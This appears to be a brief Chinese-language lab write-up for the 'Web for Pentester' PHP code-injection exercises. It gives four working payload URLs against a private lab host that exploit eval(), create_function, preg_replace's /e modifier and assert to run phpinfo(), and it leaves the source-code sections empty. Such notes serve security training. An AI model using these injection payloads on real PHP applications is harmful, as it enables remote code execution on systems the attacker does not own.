Web for Pentester -- code injection
1.直接利用eval()函数
http://192.168.118.143/codeexec/example1.php?name=hacker%22;phpinfo();$aa=%22
源码:
2. 利用create_function创建匿名函数进行代码注入。
http://192.168.118.143/codeexec/example2.php?order=name);}phpinfo();//
源码:
3. 利用preg_replace函数,当正则使用/e修饰符时,preg_replace函数会将replacement参数当php来执行。
http://192.168.118.143/codeexec/example3.php?new=phpinfo();&pattern=//e&base=Hello%20lamer
源码:
4. 利用asert函数,可通过eval实行多条php语句。
http://192.168.118.143/codeexec/example4.php?name=hacker%27.phpinfo().%27a
源码:
参考链接:
https://www.waitalone.cn/php-code-injection.html
https://www.anquanke.com/post/id/85017
http://blog.csdn.net/while0/article/details/72276440
https://pentesterlab.com/exercises/web_for_pentester/course